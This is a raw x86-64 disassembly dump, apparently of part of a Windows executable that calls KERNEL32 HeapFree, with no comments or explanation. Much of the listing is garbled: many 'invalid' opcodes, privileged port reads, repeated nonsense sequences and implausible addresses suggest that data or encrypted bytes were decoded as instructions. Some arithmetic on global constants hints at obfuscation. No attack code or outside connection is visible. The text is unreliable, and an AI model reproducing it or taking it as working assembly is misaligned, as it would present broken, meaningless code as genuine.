add byte [rbx - 0x1a29ddfb], cl
invalid
invalid
and dl, dh
invalid
add dword [rcx], esi
sal bh, cl
xor eax, 0x1e5d61e
invalid
in eax, 1
invalid
add dword [rax - 0x75], ecx
adc byte [rax - 0x7d], cl
add esp, 0x28
invalid
add byte [rax], al
add byte [rax], al
mov eax, dword [0x141f47a50]
and eax, dword [0x141f47a54]
or eax, 0x100
add byte [0x145b6e7c6], ah
and eax, 0x5a84300
cmp eax, 0xda159b7d
je case.default.0x1400ea33e
mov rsi, qword [rsi + 8]
mov eax, dword [0x141f47a58]
xor eax, dword [0x141f47a5c]
jg case.default.0x1400ea33e
in eax, 1
shr eax, 1
imul rax, rax, 0x25fb2ef5
shr rax, 0x3b
imul eax, eax, 0xfdc14f55
add eax, 0xe3066896
xchg esi, eax
push 0xffffffffa53de306
movsd dword [rdi], dword [rsi]
jno case.0x1400ea33e.2
jae 0x1400ea510
xchg esi, eax
push 0xffffffffa53de306
movsd dword [rdi], dword [rsi]
jno case.0x1400ea33e.2
jae 0x1400ea510
jae 0x1400ea510
mov rax, qword [rsi]
mov rcx, rsi
mov ecx, esi
call qword [rax + 0x10]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov eax, dword [0x141f47a60]
or eax, dword [0x141f47a64]
xor eax, 0xe76fb510
imul edi, eax, 0xb54198d6
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
cmp edi, 0xf900d756
je 0x1400ea510
jmp case.0x1400ea33e.0
mov rax, qword [rsi + 8]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov ecx, dword [0x141f47a68]
and ecx, dword [0x141f47a6c]
adc ch, dl
in eax, 1
xor ecx, 0x6e379da8
add ecx, 0xe3a6da74
sal dword [rdx + rbx*8 - 0x5a], 0xe3
sal dword [rdx + rbx*8 - 0x5a], 0xe3
cmp ecx, 0x8b87a34f
ja 0x1400ea550
test rax, rax
je case.0x1400ea33e.0
test bh, al
std
invalid
invalid
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x141f49060]
fsub st(2), st(0)
in eax, 1
adc byte [rax - 0x75], cl
or eax, 0x1e5eadc
fsub st(2), st(0)
in eax, 1
xor edx, edx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
int3
int3
mov dword [rsp + 0x2c], eax
add byte [rax], al
pop rcx
outsb dx, byte [rsi]
xchg esi, eax
test al, 0x81
add ecx, 0x900e888
invalid
stc
invalid
popfq
xor byte [rdx - 0x26], dh
add byte [rax], ah
add byte [rax], al
sub byte [0xcd56a645], al
or eax, 0x1e3cf9a
lea ecx, [0x141f275e4]
invalid
nop dword [rax + rax]
in eax, 1
cmp al, 0x83
loopne 0x1400ea67d
jge 0x1400ea646
in al, 0x3d
invalid
or byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x2c05fa75], dl
in eax, 1
out 0x95, al
invalid
add byte [rax], al
add byte [0x141d830bd], bh
leave
invalid
leave
add dword [rdx + rdx*8 + 0x44], esi
movzx edi, byte [rdi]
in eax, 1
invalid
add byte [rax], al
sub eax, dword [rax]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
shl ebp, cl
add dword [rbx], eax
add eax, 0x1e5d390
sal byte [rbp + 0x4865982b], 0xc1
call 0x19acf10a7
invalid
fmul qword [rdi]
mov bh, 0x6f
add ah, byte [rsi - 0x77]
lodsb al, byte [rsi]
and al, 0x88
add byte [rax], al
add byte [rcx - 0x7d], al
invalid
add eax, 0x1e3db4b
add byte [rax], al
and byte [r8], al
add byte [rax - 0x73], cl
lea rax, [0x141f277c0]
or al, 0xa8
mov dh, 4
nop dword [rax + rax]
shl ch, cl
add dword [0xc3bc30fb], esi
invalid
in eax, 1
idiv rdi
inc dword [rcx + 0x441601fd]
add dh, byte [rdx + rbx*8 - 0x77]
ret
adc ebp, dword [rsp + rsi*2 - 0x19]
or ecx, ebp
add dword [rax], eax
pop rbp
sal ebx, 0xf
sub al, 0xe8
in eax, 1
add dword [rcx - 0x40], ebp
mov edx, 0x5c00b8f
jb 0x1400eaada
adc ah, byte [rbx - 0x1af1fdb]
loopne 0x1400eaaea
invalid
movabs eax, dword [0xf2dd721c3993733d]
movups xmm0, xmmword [rdi + 8]
adc byte [rdi + 8], al
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
shl ch, 1
add dword [rax + 0x69], ecx
imul eax, eax, 0x125e47b3
invalid
invalid
imul eax, eax, 0x125e47b3
call 0xe1dbb015
loop 0x1400eaac9
fadd dword [rcx - 0x7d]
invalid
mov ebx, 0xcdf30563
enter 0x133d, 0x59
adc ebx, dword [rcx - 8]
movabs dword [0x1e5d4ca058be277], eax
shr eax, 0x3d
sub al, 0x75
adc dword [rbp + 0xf], eax
mov dh, 0xc5
invalid
shl ch, 1
add dword [rbx], ecx
add eax, 0x1e5d094
iretd
in eax, 1
sub al, 0
add cl, ch
sub dword [rax + rax], ebp
sub al, 0
add byte [rbx - 0x1a2b76fb], cl
add dword [rbx], ebp
add eax, 0x1e5d487
xchg esp, edx
in eax, 1
xchg esp, edx
in eax, 1
mul byte [rdi + rbx*2 - 0x4201dab1]
jg 0x1400ead8e
fistp qword [0x185a0bf03]
adc dword [rdx - 0x741c8dbb], edx
add eax, 0x1e5d474
invalid
xchg dword [0x1290eae15], ecx
add cl, ch
loopne 0x1400eae16
add byte [rax], al
add eax, 0x1e5cf7e
iretd
invalid
iretd
push 0x65
mov dh, 3
adc byte [rax], al
add byte [rbx - 0x1a3135fb], cl
mov eax, dword [0x141f47d08]
sub eax, dword [0x141f47d0c]
in al, 0x24
fdivr dword [0x1bcd529d9]
cmp eax, 0x7cc67b85
jnp 0x1400eae19
jl 0x1400eaec7
loop 0x1400eade2
add eax, 0x1e5ceb4
in eax, 1
invalid
mov dh, 0xa
invalid
out 7, al
add eax, 0x1e5d334
je case.0x14009eaa8.361
lahf
invalid
add dword [0x17461f893], ecx
push rbx
xor al, 5
mul dword [rax - 0x11]
invalid
add dword [rbx], ecx
add eax, 0x1e5d2bd
xchg ecx, eax
ror byte [rax + 0x69], 0xc0
in eax, 0x2d
invalid
js case.0x1400a7563.166
pop rsp
add eax, 0xb641d874
mov dh, 0xc
invalid
adc byte ss:[rax], al
add byte [rbx - 0x1a31ebfb], cl
add dword [rdi], ecx
imul eax, dword [0x141f47d94]
ror dword [rax], cl
stosb byte [rdi], al
lea eax, [0x13a38b71f]
sub bh, dl
push 0x301e5d2
add eax, 0x1e5d266
in eax, 1
in eax, 1
ror byte [rbx + 0x48817a95], 0x69
ror byte [rdi + 0x48382d48], 0xc1
invalid
call 0x1079fed04
outsd dx, dword [rsi]
cmp al, 0x74
xlatb
mov dh, 6
add dword [rbx], esp
add eax, 0x1e5cb88
invalid
invalid
jns 0x1400eb044
add byte [rax], al
add byte [rax - 0x6a1115b5], bh
invalid
add dword [rax + 0xf], ecx
scasd eax, dword [rdi]
enter 0xffffffffffffc148, 0xffffffffffffffe9
shr ecx, 0x3e
imul ecx, ecx, 0xc48bee98
fmul dword [rax - 0x75]
adc byte [rbx - 0x1a3521f3], cl
invalid
lahf
int3
std
or esi, dword [rbp + 0x48]
add eax, 0x1e5cf80
add dword [0x14410b511], ecx
invalid
iretd
add byte [rax - 0x75], cl
pop rdi
or byte [rdi], cl
invalid
retf 0x1e5
mov byte [rcx + 0x22], al
std
or eax, 0x3ad850f
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rbx - 0x1a2e75f3], cl
add dword [rbx], esi
or eax, 0x1e5d188
lahf
add byte [rbx + rcx*4 + 0x6c], cl
and al, 0x38
in eax, 1
add dword [rcx - 0x40], ebp
cmpsd dword [rsi], dword [rdi]
add esi, dword [rbx + riz*2 - 0xfdedffb]
and eax, esi
and eax, esi
jp 0x1400eb21a
push rdx
mov bl, 0x35
sbb byte [0x1455bff81], bh
add eax, 0x1e5d14a
invalid
xchg dword [rbp + 9], esi
add ecx, dword [rax - 0x77]
fcos
push rax
adc byte [rbx - 0x1a2ed3fb], cl
add dword [rcx], esi
sal bh, cl
xor eax, 0x1e5d128
mov eax, dword [rbx]
invalid
add byte [rbx + rcx*4 + 0x67], al
add al, 0x44
mov dword [rsp + 0x88], esp
inc byte [rcx - 0x7d]
std
ja case.0x1400eb28b.6
invalid
mov edi, 0xc06948fc
imul ebx, dword [rbx - 0x2b8ba4ac], 0xcb25058b
in eax, 1
popfq
add cl, ch
stc
sub al, 0
add byte [rax - 0x115bd639], bh
mov eax, 0xeea429c7
cdq
sbb esp, edx
or r12b, byte [r13 + 0x2ebf5535]
or ah, byte [rbp + 0x2ebf5535]
stosb byte [rdi], al
add eax, 0xffff68fe
mov dword [rsp + 0x50], 0
and al, 0x60
add byte [rax], al
sbb byte [rax - 0x77], cl
and byte [rax - 0x39], r9b
invalid
or eax, 0x1e5cd6d
in eax, 1
add dword [rbx], esp
or eax, 0x1e5cd6b
invalid
shr ecx, 0x3a
sbb al, 0x48
mov ecx, dword [rsp + 0x38]
sbb byte [rax - 0x76b7f7ba], cl
adc byte [rax - 0x39], r9b
invalid
add dword [rax], eax
add byte [rax], al
invalid
and al, 0x38
sbb byte [rax - 0x76b7f7ba], r9b
adc byte [rbx - 0x1a32e0f3], r9b
add dword [rdi], ecx
scasd eax, dword [rdi]
or eax, 0x1e5cd1c
int 0xe5
invalid
int 0xe5
add dword [rcx + 0x574b80f1], eax
invalid
in al, dx
or r9, 0xffffffffd2db85d7
leave
xlatb
test ebx, ebx
invalid
leave
xlatb
test ebx, ebx
ror byte [rax - 0x39], cl
invalid
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx - 0x1a3315fb], cl
invalid
int3
in eax, 1
invalid
scasd eax, dword [rdi]
add byte [rax], al
add eax, 0x1e5cce7
add dword [0x1680e6349], eax
mov bh, 0xac
jmp qword [rdi]
enter 0x1f3d, 0xffffffffffffff89
int1
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov ecx, dword [0x141f48378]
or ecx, dword [0x141f4837c]
add byte [rax], al
ret 0xe5cc
sbb dl, dh
jo 0x1400eb6e4
int3
adc byte [rax], al
add byte [0x1a3f4ca60], bh
nop dword cs:[rax + rax]
mov esp, 0x81419bb5
invalid
add eax, 0x1e5c46b
cli
mov ecx, ebp
jmp 0x129094107
invalid
test dword [rcx + 0x5db05bf9], 0xb1e0729b
add dword [rax + 0x1b850f01], ebp
add byte ss:[rax], al
ret
fnstsw word [rcx - 0xd]
ret
in eax, 1
add dword [rcx + rcx*4 - 0xe], ecx
in eax, 1
sub eax, 0x174fb13d
sub dh, byte [rdx - 0x23]
invalid
xor byte [0xf64fb87c], dl
add eax, 0x1e5ee9
add byte [rbp - 0x77], cl
invalid
add byte [rax], al
idiv edi
xor ecx, dword [rcx - 0x50]
invalid
cmp ecx, 0x87d103b7
add byte [rax], 0
pop r9
cli
idiv edi
mov ecx, dword [rsp + 0x80]
in eax, 1
in eax, 1
in eax, 1
leave
add byte [rcx + rdx*4], bh
xchg ecx, eax
xchg ecx, eax
shr ecx, 1
leave
mov ebx, 0x48086069
or byte [rax - 0x3f], cl
invalid
invalid
xor byte [rdi - 0x27], dh
fld dword [rax + rax*8 + 0xfda8948]
test bl, bl
adc al, 0
mov edx, ebx
add byte [rdi], cl
mov dh, 0x5c
and al, 0x31
xor dword [rcx + 0x33d6e901], esi
invalid
add byte [rax], al
jns 0x1400eba0a
in eax, 1
add byte [rax], 0
add byte [rdi], cl
test byte [rdx + 0x33], bh
jp case.0x1400a68a0.699
add byte [rax], al
jp case.0x1400a68a0.699
add byte [rax], al
mov edi, 0x2a0ff2c5
shl byte [rsi + 0x49], 0xf
jle 0x1400eba39
invalid
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x40], al
mov eax, r8d
sal dl, 0x48
cvtpi2ps xmm0, mm0
cvtpi2ps xmm0, mm0
invalid
fidiv dword [rax]
jle 0x1400ebae0
add byte [rbx - 0x1a38d7fb], cl
add dword [rcx], esi
sal bh, cl
xor eax, 0x1e5c724
invalid
sgdt [rsp + rax*4 + 0x697eb00d]
push rbx
enter 0xff3, 0x10
add eax, 0x1d2be
add al, 0x3d
jg 0x1400ebc05
xor dword [rbx], ebx
retf
and byte [rsi + 0x44], 0x89
and al, 0x60
add byte [rax], al
add al, ch
invalid
std
or eax, 0x8b4cfff5
and al, 0x30
and al, 0x30
cmp eax, 0x5db0033d
ret 0xdc77
ja 0x1400ebbf8
add eax, 0x1e5c279
sal bh, cl
xor eax, 0x1e5c275
sldt word [rax]
in eax, 1
enter 0xffffffffffffe8d1, 1
enter 0xffffffffffffe8c1, 0x1d
mov ah, 0xf
push 0xf
test byte [rsi + riz], dh
add cl, ch
add byte es:[rax], al
add dword [rcx - 0x40], ebp
nop
fdivr qword [rdx - 0x50f0b763]
ror dword [rax - 0x3f], 0xe8
shr rax, 0x3f
xchg edi, eax
xchg edi, eax
sub al, al
retf 0x8b90
movd r8d, mm0
invalid
mov dh, 7
ror byte [rbx - 0x1a4242fb], 1
enter 0xfffffffffffff105, 0x3b
fdivrp st(7)
in eax, 1
add dword [0x1b4e00d9a], eax
mov dh, 8
sal byte [rbp - 4], 0xb9
movabs eax, dword [0xe5bd36058be9eb61]
add dword [rcx], esi
sal bh, cl
xor eax, 0x1e5bd32
maxps xmm1, xmm0
stosd dword [rdi], eax
push rdi
leave
jmp 0x19b084349
add byte [rax], al
pop rbp
or eax, 0x1cba3
rol byte [rdi + rcx + 0x4b], 0xe0
add dword [rcx - 0x40], ebp
movabs rbp, 0x698fc9e64a35eb1c
out 0xc9, al
invalid
imul eax, eax, 0x9053b7b
add eax, 0x5b7a3d09
xor eax, ebx
add eax, 0x5b7a3d09
xor eax, ebx
movq r8, mm0
in eax, 1
mov ebp, 0x450501e5
sar dword [rdx - 0x18], 0x48
imul eax, ecx
fild dword [rcx - 0x4a]
or cl, ch
mov es, word [rax + rax]
add dl, dh
movsd xmm1, qword [0x140108de8]
test al, 0x7a
jp 0x1400ec333
test byte [rcx], 0x4a
push rbp
int1
mov esp, 0x50b01e5
add eax, 0x1e5bcef
invalid
ret 0x8e77
xchg byte [0xe84f68fd], cl
add ebp, ecx
invalid
add dword [rax], eax
cmp eax, 0xe177287f
ror byte [rsi], 0x77
push 8
add eax, 0x1e5bc26
xorps xmm1, xmm1
adc byte [0x140108db8], al
lodsd eax, dword [rsi]
nop
jns 0x1400ec4b0
invalid
shr eax, 0x3d
add eax, 0x1e5b99c
pushfq
mov ecx, 0xd23101e5
push 0xffffffffe8c1480d
cmp ebp, dword [rcx - 0x40]
mov dword [rbp + 0x4f], edx
invalid
in al, dx
add al, byte [rax]
add byte [rcx - 0x4a], al
mov r14b, 0xc
jmp 0x1400ec7b9
xor eax, eax
test al, al
jne 0x1400ec501
mov eax, dword [0x141f482c0]
sub eax, dword [0x141f482c4]
mov eax, eax
mov dh, 6
and al, 0x38
add al, byte [rax]
add byte [rax], al
lea eax, [rsp + 0x60]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x60
mov esp, 0x3d7a4fdb
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rdx*2], ah
add dword [rax], eax
add dh, al
mov byte [rsi + 8], 6
adc dword [rsi + 0x10], eax
add byte [rax], al
add byte [rcx - 0x2df9444d], bh
shr eax, 0x3f
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov byte [rsi + 8], 6
add byte [rax], al
or byte [rsi], al
add byte [rax], al
add byte [0xd9d38a36], bh
add byte [rax], al
invalid
scasb al, byte [rdi]
in eax, 1
loopne 0x1400ecd92
in al, 0xd
test dword [rdx + rax*4 - 0x6b], edx
push rcx
invalid
ror dword [rcx + rcx*4 - 0x16], 0x8b
or eax, 0x1e5ae88
cwde
add dword [rcx], esi
sal bh, cl
xor eax, 0x1e5ae31
invalid
scasb al, byte [rdi]
in eax, 1
add eax, 0x1e5ae2c
add eax, 0x1e5ae2a
scasb al, byte [rdi]
in eax, 1
invalid
cmp byte [rbx], dh
jrcxz 0x1400ece52
pushfq
invalid
insb byte [rdi], dx
and al, 0x38
invalid
inc dword [rdi]
add byte [rcx], 0x3d
sti
invalid
mov esi, 0xe177945a
loope 0x1400ecef1
mov ebp, dword [rsp + 0x38]
cmp dword [rbp + riz*8 + 0x370d8b01], esi
mov ah, 0xe5
add dword [rcx], eax
enter 0xffffffffffffeb05, 0xffffffffffffffe3
jrcxz 0x1400ece9a
push rdi
imul rcx, rax, 0xe51a99f
jrcxz 0x1400ece9a
push rdi
fisubr dword [rdi]
retf
and al, 0x98
add byte [rax], al
add byte [rcx - 0x4a], al
invalid
retf 0xa9e4
mov ch, 0xb4
in eax, 1
not cl
shr rax, 0x3d
cmp eax, 0x486937a5
ja case.0x1400a68a0.413
movsd dword [rdi], dword [rsi]
invalid
xor eax, eax
test al, al
jne case.0x1400a7563.390
ud2
jrcxz 0x1400ecf91
invalid
add byte [rbx - 0x1a4b7dfb], cl
add dword [rbx], ebp
invalid
add eax, 0x1e5b480
movabs dword [0x84740dc069488ffc], eax
shr rax, 0x3e
shr rax, 0x3e
sub al, 0xf
test byte [0x1290ed030], dl
out 0x14, eax
add byte [rax], al
nop
add eax, 0x1e5b412
add byte [rbx - 0x1a4ca5f3], cl
add dword [rbx], esi
or eax, 0x1e5b358
or byte [rdx - 0x3e7efe1b], dh
xchg ebp, eax
cmpsb byte [rsi], byte [rdi]
test dword [rdx], 0xc8af0f48
add al, byte [rax]
add byte [rcx - 0x4a], al
mov r14b, 0xb
jmp 0x1400ed6c3
xor eax, eax
test al, al
jne 0x1400ed479
mov r14b, 0xc
test dword [rdx - 0x44c2f676], esi
invalid
scasd eax, dword [rdi]
enter 0xffffffffffffc148, 0xffffffffffffffe9
invalid
cmc
hlt
and al, 0x30
add dword [0x1414f5616], esp
add eax, 0x1e5ac5a
jmp 0x17244129f
add byte [rax], al
mov dword [rsp + 0x68], eax
lea eax, [rsp + 0x2c]
jo 0x1400ed604
lea eax, [0x1400e1e50]
mov cs, word [rax - 1]
dec dword [rax - 0x77]
and al, 0x78
add dword [rax - 0x77], ecx
and al, 0x30
invalid
xor byte [rax - 0x39], cl
and al, 0x38
add al, byte [rax]
add byte [rax], al
add byte [r8], r8b
push rsp
and al, 0x2c
add dword [rbx + rcx + 0x15], eax
mov eax, 0x4d01e5ab
imul edx, edx, 0x645008b5
mov dword [rsp + 0x60], eax
and al, 0x30
add byte [rcx - 0x7f], al
cli
jg 0x1400ed695
add al, 0x11
mov dword [rsp + 0x48], 2
adc eax, 0x8b4c0000
insb byte [rdi], dx
and al, 0x38
and byte [rbx - 0x1a5a63fb], cl
add dword [rbx], eax
add eax, 0x1e5a59a
add dword [0xe962b881], esi
test eax, 0x93ebb905
lea esi, [0xccdec75d]
out dx, eax
iretd
invalid
out dx, eax
iretd
cmp al, 0xd
sbb cl, byte [rsi + 0x69441ee6]
invalid
imul r13d, eax, 0xca8e721e
invalid
imul eax, eax, 0x53583311
add byte [rax - 0x39], cl
and al, 0x50
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xe8], al
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x77
adc byte [rsp + 0x60], al
and al, 0x77
lodsb al, byte [rsi]
and al, 0x88
add byte [rax], al
add byte [rax - 0x73], cl
pushfq
and al, 0xe8
add byte [rax], al
add byte [rbp + rcx*4 + 0x74], cl
lea esi, [rsp + 0x30]
je 0x1400ee011
xor byte [rcx], dh
in eax, dx
and al, 0x38
add dword [rax], eax
add byte [rax], al
invalid
and dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0xe8], al
invalid
and al, 0x77
jbe 0x1400edff0
invalid
add dword [rdi], ecx
scasd eax, dword [rdi]
add eax, 0x1e59a5b
mov bl, 0x14
jg 0x1400ee129
mov byte [rax], al
add byte [rax], al
mov dword [rsp + 0x88], eax
ja case.0x1400ee0fd.6
sahf
jrcxz 0x1400ee0f7
invalid
enter 0xffffffffffffe59d, 1
jg 0x1400ee143
out dx, eax
push rax
add dword [rax], eax
add byte [rbx - 0x1a6265fb], cl
mov eax, dword [0x141f47ec8]
and eax, dword [0x141f47ecc]
add eax, 0x1e59d9a
add eax, 0x1e59d82
loop 0x1400ee1ad
mov dh, 5
add byte [rbx - 0x1a62c0fb], cl
add dword [rbx], esi
add eax, 0x1e59d3d
outsb dx, byte [rsi]
sbb al, 5
invalid
invalid
sar byte [rsi - 0x35], 0xcd
int 0x77
fimul word [rbx - 0x1a62dafb]
add dword [rdi], ecx
scasd eax, dword [rdi]
add eax, 0x1e59d22
sar byte [rsp + riz*8 + 0x6a3db516], 0x60
lodsb al, byte [rsi]
sub dh, byte [rsi - 0x24]
add dword [rcx], esi
sal bh, cl
div dword [0x141f47ee4]
add ebx, esi
cvtpi2ps xmm0, mm0
sbb dword [rax], ecx
and eax, 0xa8c1eca5
adc dword [rax], eax
adc byte [rax], al
add cl, ch
jno 0x1400ee27e
add byte [rax], al
add byte [rax], al
add dword [0xeb1afbda], eax
and al, 0x68
add byte [rax], al
adc byte [rax - 0x77], r9b
and byte [rax - 0x39], r9b
invalid
leave
invalid